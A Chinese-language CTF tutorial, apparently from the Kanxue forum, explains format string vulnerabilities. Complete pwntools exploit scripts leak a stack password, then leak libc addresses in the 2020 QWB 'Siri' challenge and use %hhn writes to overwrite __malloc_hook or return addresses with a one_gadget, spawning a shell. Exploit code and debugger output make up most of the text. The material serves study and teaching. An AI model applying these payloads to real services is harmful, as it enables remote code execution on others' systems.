格式化字符串漏洞解析

admin

101400
文章

87
评论

2020年9月28日18:01:27评论437 views字数 19674阅读65分34秒阅读模式

格式化字符串漏洞解析

本文为看雪论坛精华文章

看雪论坛作者ID：Chernobyl

目录
格式化字符串利用—读
漏洞原理
题目分析
调试分析
POC
格式化字符串利用—写
漏洞原理
简单示例
题目分析
调试分析
修改`malloc_hook`
修改返回地址——leak
修改返回地址与指令——main

格式化字符串利用—读

漏洞原理

格式化字符串漏洞常见的标志为printf(&str)，其中str中的内容是可控的。printf在解析format参数时，会自动从栈上format字符串结束的位置，按顺序读取格式化字符串对应的参数。

如图所示，执行的命令为printf("%s %d %d %d %x",buf, 1, 2, 3)，紧随格式化字串后压入栈上的参数为4个，但格式化字串有五个参数，printf在解析第五个参数%x时，会继续往栈上读取，造成了信息泄露：

格式化字符串漏洞解析

题目分析

checksec信息如下，保护全开：

[*] '/home/hjc18/PWN/stack_learn/fmt_stack/pwn1'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled

IDA中主函数逻辑如下：首先判断用户名是否为root，然后从系统中读取一个随机数，判断用户的输入与随机数是否相等。随机数输入的长度限制为0x50，告别了栈溢出的可能，随机数输入错误1次后exit_flag会置0，在下一次输入错误后程序会退出。

唯一的利用点在于程序中存在printf(&s)，而s是可控的，因此可以用格式化字符串的任意地址读功能获取随机数：

.data:0000000000202098 exit_flag       db    1    void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){  int fd; // ST0C_4  char buf; // [rsp+10h] [rbp-A0h]  char s1; // [rsp+20h] [rbp-90h]  char s; // [rsp+40h] [rbp-70h]  unsigned __int64 v7; // [rsp+A8h] [rbp-8h]   v7 = __readfsqword(0x28u);  init_std();  fd = open("/dev/urandom", 0);  read(fd, &buf, 8uLL);  close(fd);  puts("Hi, please input your name:");  read_func(&s1, 16LL);                         // equal to read(buf,size)  if ( !strcmp(&s1, "root") )  {    printf("%s welcome to go home !n", &s1);    puts("Oh, I also need your password:");    while ( 1 )    {      memset(&s, 0, 0x60uLL);      read_func(&s, 0x50LL);      if ( !strcmp(&s, &buf) )        break;      printf("Your password ", &buf);      printf(&s);                               // vuln      puts(" seem not ture......");      if ( !exit_flag )      {        puts("Bye~");        exit(0);      }      puts("Try again!");      exit_flag = 0;    }    puts("You are my root!");    exit(0);  }  puts("Who are you?");  exit(0);}

调试分析

在输入中输入格式化字符串%x，程序会打印栈上的信息：

Hi, please input your name:rootroot welcome to go home !Oh, I also need your password:%p %p %p %p %p %p %p %p %pYour password 0x7ffce2b24580 0x7f06e850d8c0 (nil) 0xe 0x7f06e828ef70 (nil) 0x300000000 0x6db2adca20d558ab (nil) seem not ture......Try again!

此时寄存器与栈的布局如下所示：

#reg RAX  0x0 RBX  0x0 RCX  0x0 RDX  0x7f06e850d8c0 RDI  0x7ffce2b26c60 -> '%p %p %p %p %p %p %p %p %p' RSI  0x7ffce2b24580 -> 'Your password o go home !n' R8   0xe R9   0x7f06e828ef70 R10  0x3 R11  0x246 R12  0x565314ac6a30 R13  0x7ffce2b26db0 R14  0x0 R15  0x0 RBP  0x7ffce2b26cd0 RSP  0x7ffce2b26c18 RIP  0x7f06e8184f00  #stackrsp  0x7ffce2b26c18 -> 0x565314ac6e0e     0x7ffce2b26c20 <- 0x0     0x7ffce2b26c28 <- 0x300000000     0x7ffce2b26c30 <- 0x6db2adca20d558ab     0x7ffce2b26c38 <- 0x0     0x7ffce2b26c40 <- 0x746f6f72 /* 'root' */     0x7ffce2b26c48 <- 0x8000000000000006     0x7ffce2b26c50 <- 0x0rdi  0x7ffce2b26c60 <- '%p %p %p %p %p %p %p %p %p'     0x7ffce2b26c68 <- ' %p %p %p %p %p %p'     0x7ffce2b26c70 <- 'p %p %p %p'     0x7ffce2b26c78 <- 0x7025 /* '%p' */     0x7ffce2b26c80 <- 0x0     0x7ffce2b26cc0 <-  0x7ffce2b26db0     0x7ffce2b26cc8 <- 0x9119a0b95845000rbp  0x7ffce2b26cd0 <-  0x565314ac6e80     0x7ffce2b26cd8 <-  0x7f06e8141b97

通过观察我们可以发现，泄露出来的数据依次为RSI RDX RCX R8 R9 RSP+0x8 RSP+0x10 RSP+0x18的内容，在64位系统中，函数前6个参数通过寄存器传参，对应RSI RDX RCX R8 R9，函数不会泄露RDI，即格式化字符串本身的地址内容。

当寄存器的内容不足以填满格式化字符串的参数时，printf会继续往栈上索引，从RSP+0x8，即main函数的栈基址开始读取，刚好在第8个参数泄露了位于rsp+10h的随机数0x6db2adca20d558ab。

现在我们知道怎么计算偏移来读取任意地址的信息了，如果读取离当前RSP很远的信息，比如偏移了100个%p，可以使用$占位符减少输入，$的含义为输出对应位置的参数，比如%8$p输出第8个%p的数据：

Hi, please input your name:rootroot welcome to go home !Oh, I also need your password:%8$pYour password 0x1d894b7f31fe7418 seem not ture......Try again!

再康康栈上的信息，刚好对应之前讲的第8个%p的输出内容：

rsp  0x7ffe0fbf9cf0 -> 0x0     0x7ffe0fbf9cf8 -> 0x300000000     0x7ffe0fbf9d00 -> 0x1d894b7f31fe7418 //random     0x7ffe0fbf9d08 -> 0x8000000000000006     0x7ffe0fbf9d10 -> 0x746f6f72 /* 'root' */     0x7ffe0fbf9d18 -> 0x0

pwngbd提供了一种方便的函数fmtarg，使用格式为fmtarg addr。在进入printf函数时断下，调用fmtarg后可以自动计算格式化参数与addr的偏移。fmtarg在计算index时将RDI也算了进去，后面会自动减一作为%$p的参数：

# ins-> 0x7f6507184f00 <printf>        sub    rsp, 0xd8   0x7f6507184f07 <printf+7>      test   al, al   0x7f6507184f09 <printf+9>      mov    qword ptr [rsp + 0x28], rsi # stackrsp  0x7ffd014b4248 <- 0x56029ee8ae0e     0x7ffd014b4250 -> 0x0     0x7ffd014b4258 -> 0x300000000     0x7ffd014b4260 -> 0x869b15527cfcfffa//random     0x7ffd014b4268 -> 0x0     0x7ffd014b4270 -> 0x746f6f72 /* 'root' */     0x7ffd014b4278 -> 0x0 #use fmtarg -> targrt:0x7ffd014b4260The index of format argument : 9 ("%8$p")

POC

现在我们已经可以泄露随机数，接下来利用思路就很简单了。第一轮利用格式化字符串漏洞读取随机数，第二轮直接将获取的随机数作为输入，即可“成为root”。完整exp如下：

from pwn import * context.log_level = 'debug' def lauch_gdb(p):    context.log_level = 'debug'    context.terminal = ['tmux', 'splitw', '-h']    gdb.attach(p) p = process('./pwn1')elf = ELF('./pwn1')libc = elf.libc#lauch_gdb(p)#pause()rl = lambda a=False              : p.recvline(a)    #接收到n，False表示丢弃nru = lambda a,b=True             : p.recvuntil(a,b)rn = lambda x                    : p.recvn(x)sd = lambda x                    : p.send(x)sl = lambda x                    : p.sendline(x)sa = lambda a,b                  : p.sendafter(a,b)sla = lambda a,b                 : p.sendlineafter(a,b)irt = lambda                     : p.interactive()uu32 = lambda data               : u32(data.ljust(4,'x00'))uu64 = lambda data               : u64(data.ljust(8,'x00'))cth = lambda content,length      : int(content[:length],16) sla('name:','root')sla('password','%8$p')ru('password ')content = ru(' seem')ans = int(cth(content,18))rl()sla('again!',p64(ans))irt()

程序输出如下：

[DEBUG] Received 0x1c bytes:    'Hi, please input your name:n'[DEBUG] Sent 0x5 bytes:    'rootn'[DEBUG] Received 0x39 bytes:    'root welcome to go home !n'    'Oh, I also need your password:n'[DEBUG] Sent 0x5 bytes:    '%8$pn'[DEBUG] Received 0x40 bytes:    'Your password 0x90b126967cc6caa3 seem not ture......n'    'Try again!n'[DEBUG] Sent 0x9 bytes:    00000000  a3 ca c6 7c  96 26 b1 90  0a                           00000009[*] Switching to interactive mode [*] Process './pwn1' stopped with exit code 0 (pid 11275)[DEBUG] Received 0x11 bytes:    'You are my root!n'You are my root!

格式化字符串利用—写

漏洞原理

printf除了能将数据输出至标准输出，还能将数据输出至某一地址。printf通过%n、%hn、%hhn三个参数将已打印的字符个数输出至格式化参数对应的地址中，如：

#include<stdio.h>int main(){    int a = 0;    printf("aaaa%n",&a);    printf("%d",a);    return 0;}// -> a = 4

可以通过格式化串中的输出占位符来调整输出字符串的个数：

#include <stdio.h> int main(){   char a = 'a';    int b = 10;   printf("%30c%n",a,&b);   printf("%d",b);   return 0;}// -> b = 30

%n一次写入四个字节，%hn一次写入两个字节，%hhn一次只写入一个字节。如果写入的字节数大于格式化字符串所对应的最大字节数，则发生溢出置0。

在空间足够的情况下，推荐使用%hhn进行写入，一来可以避免sprintf等函数末尾自动填充，二来通过溢出修改写入字节（如0x64 -> 0x32）所需的字符数较少，不会卡死。如果空间有限，则需酌情考虑使用其他格式字串或更换方法：

#include <stdio.h>int main(){   char a = 'a';   int b = 0;   printf("%255c%hhnnn",a,&b);//0xff = 255    printf("%d",b);   return 0;}// -> b = 255  #include <stdio.h>int main(){   char a = 'a';   int b = 0;  printf("%256c%hhnnn",a,&b);//256=0x100    printf("%d",b);   return 0;}// -> b = 0xff+1 = 0x(1)00 = 0x00   !!!

简单示例

与其他格式化字符串一样，%n系列也可以通过 $运算符来进行偏移，从而实现任意地址写的功能。下面我们通过一个简单的实例来康康如何进行写入，demo源码如下：

#include<stdio.h>int main(){    char a[] = "aaaaaaa";    long int t = 10;    long int* d = &t;    printf("%65c%7$hhn"); // 模拟printf(&s)    printf("after printf, t=%d",t);    return 0;}

程序执行到printf前，栈上的数据分布如下：

rsp  0x7fffffffdb50 <- 0xa /* 'n' */     0x7fffffffdb58 -> 0x7fffffffdb50 0xa /* 'n' */ //target     0x7fffffffdb60 -> 0x61616161616161 /* 'aaaaaaa' */     0x7fffffffdb68 -> 0xa7726df524ad0100rbp  0x7fffffffdb70 <- 0x4018b0 (__libc_csu_init)     0x7fffffffdb78 <- 0x401159 (__libc_start_main+777)     0x7fffffffdb80 -> 0x0     0x7fffffffdb88 -> 0x100000000

我们的目标是修改位于0x7fffffffdb50变量的值，注意，%n参数对应的是指针，我们需要借用一层跳板来执行解引用后修改操作，即传入0x7fffffffdb58这一指向0x7fffffffdb50的指针。

使用fmtarg得出该地址与格式化字符串的偏移为7：fmtarg 0x7fffffffdb58 The index of format argument : 8 ("%7$p")，对应源码中%7$hnn；%65c将打印栈上的垃圾数据，用于控制输出长度，进而控制修改的值。程序执行完后，t的值被修改成65：

rsp  0x7fffffffdb50 <- 0x41 /* 'A' */     0x7fffffffdb58 -> 0x7fffffffdb50 0x41 /* 'A' */ //target     0x7fffffffdb60 -> 0x61616161616161 /* 'aaaaaaa' */     0x7fffffffdb68 -> 0xa7726df524ad0100rbp  0x7fffffffdb70 <- 0x4018b0 (__libc_csu_init)     0x7fffffffdb78 <- 0x401159 (__libc_start_main+777)     0x7fffffffdb80 -> 0x0     0x7fffffffdb88 -> 0x100000000

题目分析

以2020强网杯”Siri“一题为例。check信息如下，保护全开：

[*] '/home/hjc18/PWN/qwb2020/siri/Siri'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled

拖进IDA查看程序逻辑，首先是main函数：

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  char Input_buffer; // [rsp+0h] [rbp-110h]  char v5; // [rsp+100h] [rbp-10h]  unsigned __int64 v6; // [rsp+108h] [rbp-8h]   v6 = __readfsqword(0x28u);  memset(&Input_buffer, 0, 0x100uLL);  v5 = 0;  Init_env();  printf(">>> ", a2);  while ( read(0, &Input_buffer, 0x100uLL) )  {    if ( !strncmp(&Input_buffer, "Hey Siri!", 9uLL) )    {      puts(">>> What Can I do for you?");      printf(">>> ", "Hey Siri!");      read(0, &Input_buffer, 0x100uLL);         // no overflow      if ( !(unsigned int)tell_story(&Input_buffer)        && !(unsigned int)fox_say(&Input_buffer)        && !(unsigned int)leak(&Input_buffer) )      {        puts(">>> Sorry, I can't understand.");      }    }    memset(&Input_buffer, 0, 0x100uLL);    printf(">>> ", 0LL);  }  return 0LL;}

函数中看似有个可控Input_buffer放在栈上，但程序中read函数写死了读取长度刚好为Buffer的大小，因此无法利用。

tell_story和fox_say无任何交互的功能：

signed __int64 __fastcall tell_story(const char *a1){  if ( strncmp(a1, "Tell me a story.", 0x10uLL) )    return 0LL;  puts(">>> It was a darkand stormy night...no, that's not it.n");  return 1LL;}signed __int64 __fastcall fox_say(const char *a1){  if ( strncmp(a1, "What dose the fox say?", 0x16uLL) )    return 0LL;  puts(">>> Chacha-chacha-chacha-chow!n");  return 1LL;}

而最后的leak函数中调用了sprintf，且输出缓冲区内容是可控的，比如输入Remind me to %d，在执行sprintf时参数会变成">>> OK, I'll remind you to %d"，继而将内容输入printf作为参数——造成了格式化字符串的漏洞：

signed __int64 __fastcall leak(const char *a1){  char *v2; // [rsp+18h] [rbp-128h]  char s; // [rsp+20h] [rbp-120h]  unsigned __int64 canary; // [rsp+138h] [rbp-8h]   canary = __readfsqword(0x28u);  v2 = strstr(a1, "Remind me to ");//获取子串  if ( !v2 )    return 0LL;  memset(&s, 0, 0x110uLL);//输入长度限制  sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 0xD);// 构造格式化字符串  printf(&s); //漏洞点  puts(&::s);  return 1LL;}

程序中所有的函数都通过leave retn返回，即所有变量都可以在main函数的栈中索引到。

.text:00000000000012E2 locret_12E2:                            ; CODE XREF: leak+C9↑j.text:00000000000012E2                 leave.text:00000000000012E3                 retn .... .text:0000000000001366 locret_1366:                            ; CODE XREF: tell_story+39↑j.text:0000000000001366                 leave.text:0000000000001367                 retn .....

调试分析

程序中没有可以利用的shell函数，因此需要通过libc中的gadget来执行get shell操作。由于程序开启了PIE，首先我们的目标是获取程序栈的地址和libc的地址，才能进行下一步的利用。程序启动时通过vmmap获取程序当前的基址，然后加上IDA中调用printf函数的偏移，断下后通过fmtarg查看格式化字符串与目标数据的偏移：

# IDA output.text:000000000000129D                 call    _sprintf.text:00000000000012A2                 lea     rax, [rbp+s].text:00000000000012A9                 mov     rdi, rax        ; format.text:00000000000012AC                 mov     eax, 0.text:00000000000012B1                 call    _printf         ;target!!.text:00000000000012B6                 lea     rdi, s          ; s.text:00000000000012BD                 call    _puts.text:00000000000012C2                 mov     eax, 1

# gdb pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x55ebb3a55000     0x55ebb3a56000 r--p     1000 0      /home/hjc18/PWN/qwb2020/siri/Siri    0x55ebb3a56000     0x55ebb3a57000 r-xp     1000 1000   /home/hjc18/PWN/qwb2020/siri/Siri    0x55ebb3a57000     0x55ebb3a58000 r--p     1000 2000   /home/hjc18/PWN/qwb2020/siri/Siri    0x55ebb3a58000     0x55ebb3a59000 r--p     1000 2000   /home/hjc18/PWN/qwb2020/siri/Siri pwndbg> b *(0x12b1+0x55ebb3a55000)  # stack in printf()      0x7ffcf4ebb970 -> 0x7ffcf4ebbaa0      0x7ffcf4ebb978 -> 0x4e326479f652c000rbp   0x7ffcf4ebb980 -> 0x7ffcf4ebbaa0 //target_1      0x7ffcf4ebb988 -> 0x55ebb3a5644c      0x7ffcf4ebb990 -> Remind me to libc : %83$pn'r8-5  0x7ffcf4ebb998 -> 'e to libc : %83$pn'      0x7ffcf4ebb9a0 -> 'c : %83$pn'      0x7ffcf4ebb9a8 -> 0xa70 /* 'pn' */      0x7ffcf4ebb9b0 -> 0x0      0x7ffcf4ebba90 ->  0x7ffcf4ebbb00      0x7ffcf4ebba98 -> 0x4e326479f652c000      0x7ffcf4ebbaa0 ->  0x55ebb3a564d0      0x7ffcf4ebbaa8 ->  0x7fe2754d5b97 (__libc_start_main+231) //target_2 pwndbg> fmtarg 0x7ffcf4ebbaa8 //libcThe index of format argument : 84 ("%83$p")pwndbg> fmtarg 0x7ffcf4ebb980 //satckThe index of format argument : 47 ("%46$p") libc_base = 0x7ffcf4ebbaa8-231-libc.sym['__libc_start_main']stack = 0x7ffcf4ebb980+0x8

0x7ffcf4ebb980存放了RBP的信息，RBP所指向的内容是main的栈基址；0x7ffcf4ebbaa8中存放了__libc_start_main偏移后的地址，经过处理可以得到libc的基址。随后利用one_gadget获取跳转目标：

hjc18@Chernobyl-WorkStation:~/PWN/qwb2020/siri$ one_gadget libc.so.6/var/lib/gems/2.5.0/gems/one_gadget-1.7.3/lib/one_gadget/helper.rb:261: warning: Insecure world writable dir /mnt/c in PATH, mode 0407770x4f365 execve("/bin/sh", rsp+0x40, environ)constraints:  rsp & 0xf == 0  rcx == NULL 0x4f3c2 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL 0x10a45c execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL

信息收集完毕，接下来有两种思路可以利用。

修改malloc_hook

printf在输出字符串长度过长时会自动调用malloc申请内存空间，而输出的格式化字符串的宽度是可控制的，因此可以通过修改malloc_hook至one_gadget，然后通过诸如printf("%399999c")等超长格式化串来调用malloc，进而实现get_shell。由于获取到了libc的基址，malloc_hook的基址自然可以通过偏移减得，下面讲讲如何写入。

由于leak函数中限制输入长度为0x110，malloc_hook的地址长度为6个字节，使用%hnn修改需要准备6个参数，总长度为0x30，即格式化字符串的总长度必须小于0x80；其次，由于传入的字符串包含了Remind me to前缀，为了内存对齐，输入的字符串长度应为0x80 - strlen("Remind me to ")。构造payload的思路为：格式化字符串（0x80）+malloc_hook地址6。

（*输入的格式化字符串首先传入sprintf，因此需要确保内存与"Remind me to "对齐；如果采用">>> OK, I'll remind you to"进行计算，需要额外偏移两个字节），在printf下断使用fmtarg确定参数与目标内存地址的偏移。

构造payload的解析如下：

malloc_hook = libc_base + libc.sym['__malloc_hook']gadget = libc_base + 0x4f3c2written_size = 0 #已写入的字节数，用于控制溢出offset = 64      #fmtarg计算的偏移 for i in xrange(6):                #构造6个字节的写入数据    size = (gadget>>(8*i)) & 0xff  #通过位移和与操作提取gadget不同字节的数据    size -= 27                     #printf已经输入了27个字符（>>> OK, I'll remind you to）    if(size > (written_size & 0xff)): #写入的数据大于当前已写入的字符数，不需要溢出        payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i) #通过%(offset+i)$hhn控制写入地址        written_size += size - (written_size & 0xff)    else:        payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i) #写入的数据大于当前已写入的字符数，进行溢出        written_size += (0x100 - (written_size&0xff)) + size #payload=payload.ljust(0x80-len(">>> OK, I'll remind you to ")-2,'a')#栈对齐  13 -> D  27 -> 1Bpayload=payload.ljust(0x80-13,'a')#0x80 -> 到0x110足够放6个64位指针 for i in xrange(6):    payload += p64(malloc_hook+i)#堆叠写入的地址 log.info(payload)#pause()add(payload)

构造完payload执行至printf处，栈上的信息如下：

# stack      0x7ffe0bc18c00 <- 0x6d20646e696d6552 ('Remind m') <- strlength:0x80      0x7ffe0bc18c08 <- 0x363125206f742065 ('e to %16')      0x7ffe0bc18c10 <- 0x6868243436256337 ('7c%64$hh')      0x7ffe0bc18c18 <- 0x353625633731256e ('n%17c%65')      0x7ffe0bc18c20 <- 0x633634256e686824 ('$hhn%46c')      0x7ffe0bc18c28 <- 0x256e686824363625 ('%66$hhn%')      0x7ffe0bc18c30 <- 0x2437362563313531 ('151c%67$')      0x7ffe0bc18c38 <- 0x63343531256e6868 ('hhn%154c')      0x7ffe0bc18c40 <- 0x256e686824383625 ('%68$hhn%')      0x7ffe0bc18c48 <- 0x6824393625633737 ('77c%69$h')      0x7ffe0bc18c50 <- 0x6161616161616e68 ('hnaaaaaa')      0x7ffe0bc18c58 <- 0x6161616161616161 ('aaaaaaaa')<- padding      .      .      .      0x7ffe0bc18c80 -> 0x7f32983b9c30 (__malloc_hook)  <- target address      0x7ffe0bc18c88 -> 0x7f32983b9c31 (__malloc_hook+1)      0x7ffe0bc18c90 -> 0x7f32983b9c32 (__malloc_hook+2)      0x7ffe0bc18c98 -> 0x7f32983b9c33 (__malloc_hook+3)      0x7ffe0bc18ca0 -> 0x7f32983b9c34 (__malloc_hook+4)      0x7ffe0bc18ca8 -> 0x7f32983b9c35 (__malloc_hook+5) pwndbg> fmtarg 0x7ffe0bc18c80The index of format argument : 65 ("%64$p")

执行printf后，malloc_hook的地址被修改成了one_gadget，此时继续循环，发送%300000c长度的格式化字符串，即可get_shell：

pwndbg> x /gx 0x7f32983b9c30                       <- before printf0x7f32983b9c30 <__malloc_hook>: 0x0000000000000000 pwndbg> x /gx 0x7f32983b9c30                       <- after printf0x7f32983b9c30 <__malloc_hook>: 0x00007f329801d3c2 [DEBUG] Sent 0x17 bytes:    'Remind me to %3000000cn'                     <- long format string pwndbg> cContinuing.process 22459 is executing new program: /bin/dash  <- get shell

完整POC如下：

#coding:utf-8from pwn import* p = process('./Siri')elf = ELF('./Siri')libc = ELF('./libc.so.6')  def lauch_gdb(p):    context.log_level = 'debug'    context.terminal = ['tmux', 'splitw', '-h']    gdb.attach(p)  def add(payload):    sla(">>>","Hey Siri!")    ru("What Can I do for you?")    sl("Remind me to "+payload) lauch_gdb(p)rl = lambda a=False              : p.recvline(a)   ru = lambda a,b=True             : p.recvuntil(a,b)rn = lambda x                    : p.recvn(x)sd = lambda x                    : p.send(x)sl = lambda x                    : p.sendline(x)sa = lambda a,b                  : p.sendafter(a,b)sla = lambda a,b                 : p.sendlineafter(a,b)irt = lambda                     : p.interactive()uu32 = lambda data               : u32(data.ljust(4,'x00'))uu64 = lambda data               : u64(data.ljust(8,'x00'))cth = lambda content,length      : int(content[:length],16) add("libc : %83$p")ru("libc : 0x")libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']print "libc_base = "+hex(libc_base)malloc_hook = libc_base + libc.sym['__malloc_hook']print "malloc_hook = "+hex(malloc_hook)og = [0x4f365,0x4f3c2,0x10a45c]gadget = libc_base + og[1]print "gadget:"+hex(gadget) payload = ''written_size = 0offset = 64 for i in xrange(6):    size = (gadget>>(8*i)) & 0xff    size -= 27    if(size > (written_size & 0xff)):        payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)        written_size += size - (written_size & 0xff)    else:        payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)        written_size += (0x100 - (written_size&0xff)) + size payload=payload.ljust(0x80-13,'a')for i in xrange(6):    payload += p64(malloc_hook+i) log.info(payload)pause()add(payload)add("%3000000c")irt()

修改返回地址——leak

另一种利用思路为直接利用格式化字符串修改函数的返回地址，不需要泄露canary。

     0x7ffe905e0780 -> 0x7ffe905e08b0      0x7ffe905e0788 -> 0xd00159090e3a4000rbp   0x7ffe905e0790 <- 0x7ffe905e08b0      0x7ffe905e0798 -> 0x5654c5f5744c <-test   eax, eax   ;target! pwndbg> fmtarg 0x7ffe905e0790                              <- get_rbpThe index of format argument : 47 ("%46$p") pwndbg> distance 0x7ffe905e08b0 0x7ffe905e0798             <- calculate offset between rip and rsp0x7ffe905e08b0->0x7ffe905e0798 is -0x118 bytes

完整POC如下：

#coding:utf-8from pwn import* p = process('./Siri')elf = ELF('./Siri')libc = ELF('./libc.so.6')  def lauch_gdb(p):    context.log_level = 'debug'    context.terminal = ['tmux', 'splitw', '-h']    gdb.attach(p)  def add(payload):    sla(">>>","Hey Siri!")    ru("What Can I do for you?")    sl("Remind me to "+payload) lauch_gdb(p)rl = lambda a=False              : p.recvline(a)   ru = lambda a,b=True             : p.recvuntil(a,b)rn = lambda x                    : p.recvn(x)sd = lambda x                    : p.send(x)sl = lambda x                    : p.sendline(x)sa = lambda a,b                  : p.sendafter(a,b)sla = lambda a,b                 : p.sendlineafter(a,b)irt = lambda                     : p.interactive()uu32 = lambda data               : u32(data.ljust(4,'x00'))uu64 = lambda data               : u64(data.ljust(8,'x00'))cth = lambda content,length      : int(content[:length],16) add("libc : %83$pAAAA%46$p")ru("libc : 0x")libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']print "libc_base = "+hex(libc_base)og = [0x4f365,0x4f3c2,0x10a45c]gadget = libc_base + og[0]print "gadget:"+hex(gadget)ru('AAAA')ret = int(p.recv(14),16)-0x118print 'ret:'+hex(ret)payload = ''written_size = 0offset = 64 for i in xrange(6):    size = (gadget>>(8*i)) & 0xff    size -= 27    if(size > (written_size & 0xff)):        payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)        written_size += size - (written_size & 0xff)    else:        payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)        written_size += (0x100 - (written_size&0xff)) + size payload=payload.ljust(0x80-13,'a')for i in xrange(6):    payload += p64(ret+i) log.info(payload)#pause()add(payload)irt()

修改返回地址与指令——main

有时候被__libc_start_main+231深深吸住了眼球，希望通过修改main函数的返回地址来完整滴控制程序的流程。

不过相比起leak，修改main的返回地址要更麻烦些，因为main函数执行后是死循环，为了使函数返回还需要额外修改程序执行的指令。

第一步与leak相同，获取返回地址信息并确定偏移：

     0x7fff87e70c40 -> 0x6161616161616e68 ('hnaaaaaa')      0x7fff87e70c48 -> 0x6161616161616161 ('aaaaaaaa')      .....      0x7fff87e70d08 -> 0x7f69f6c6db97 (__libc_start_main+231) <-target! pwndbg> distance 0x7fff87e70d00(rbp) 0x7fff87e70d080x7fff87e70d00->0x7fff87e70d08 is 0x8 bytes

将main函数的返回地址修改完成后，还需要修改指令来使main函数强制退出，在IDA中该段反汇编如下：

.text:0000000000001444                 mov     rdi, rax.text:0000000000001447                 call    leak.text:000000000000144C                 test    eax, eax.text:000000000000144E                 jnz     short loc_145C   <- mod.....text:00000000000014AD                 mov     rcx, [rbp+var_8].text:00000000000014B1                 xor     rcx, fs:28h.text:00000000000014BA                 jz      short locret_14C1.text:00000000000014BC                 call    ___stack_chk_fail.text:00000000000014C1 ; ---------------------------------------------------------------------------.text:00000000000014C1.text:00000000000014C1 locret_14C1:                            ; CODE XREF: main+152↑j.text:00000000000014C1                 leave                   <- target.text:00000000000014C2                 retn

调用完leak后，为了跳出循环，需要将144C处的指令地址修改为14C1来进行强制返回，这需要获取程序的基址——很简单，用main 中的返回地址对着指令手算偏移就行了：

# stack rbp   0x7fff87e70be0 <- 0x7fff87e70d00      0x7fff87e70be8 <- 0x55596efe744c -> test   eax, eax               <- target...      0x7fff87e70d08 <- 0x7f69f6c6db97 (__libc_start_main+231) <- current  pwndbg> distance 0x7fff87e70d08 0x7fff87e70be80x7fff87e70d08->0x7fff87e70be8 is -0x120 bytes

定位指令地址后，直接写最低一个字节为C1即可实现强制跳转，完整POC如下：

#coding:utf-8from pwn import* p = process('./Siri')elf = ELF('./Siri')libc = ELF('./libc.so.6')  def lauch_gdb(p):    context.log_level = 'debug'    context.terminal = ['tmux', 'splitw', '-h']    gdb.attach(p)  def add(payload):    sla(">>>","Hey Siri!")    ru("What Can I do for you?")    sl("Remind me to "+payload) lauch_gdb(p)rl = lambda a=False              : p.recvline(a)   ru = lambda a,b=True             : p.recvuntil(a,b)rn = lambda x                    : p.recvn(x)sd = lambda x                    : p.send(x)sl = lambda x                    : p.sendline(x)sa = lambda a,b                  : p.sendafter(a,b)sla = lambda a,b                 : p.sendlineafter(a,b)irt = lambda                     : p.interactive()uu32 = lambda data               : u32(data.ljust(4,'x00'))uu64 = lambda data               : u64(data.ljust(8,'x00'))cth = lambda content,length      : int(content[:length],16) add("libc : %83$pAAAA%46$p")ru("libc : 0x")libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']print "libc_base = "+hex(libc_base)og = [0x4f365,0x4f3c2,0x10a45c]gadget = libc_base + og[1]print "gadget:"+hex(gadget)ru('AAAA')ret = int(p.recv(14),16)+0x8print 'ret:'+hex(ret)payload = ''written_size = 0offset = 64 mod_ins = ret-0x120 for i in xrange(6):    size = (gadget>>(8*i)) & 0xff    size -= 27    if(size > (written_size & 0xff)):        payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)        written_size += size - (written_size & 0xff)    else:        payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)        written_size += (0x100 - (written_size&0xff)) + size payload=payload.ljust(0x80-13,'a')for i in xrange(6):    payload += p64(ret+i) log.info(payload)#pause()add(payload) payload = '%{0}c%{1}$hhn'.format(0xc1-27,offset)payload=payload.ljust(0x80-13,'a')payload += p64(mod_ins)add(payload) irt()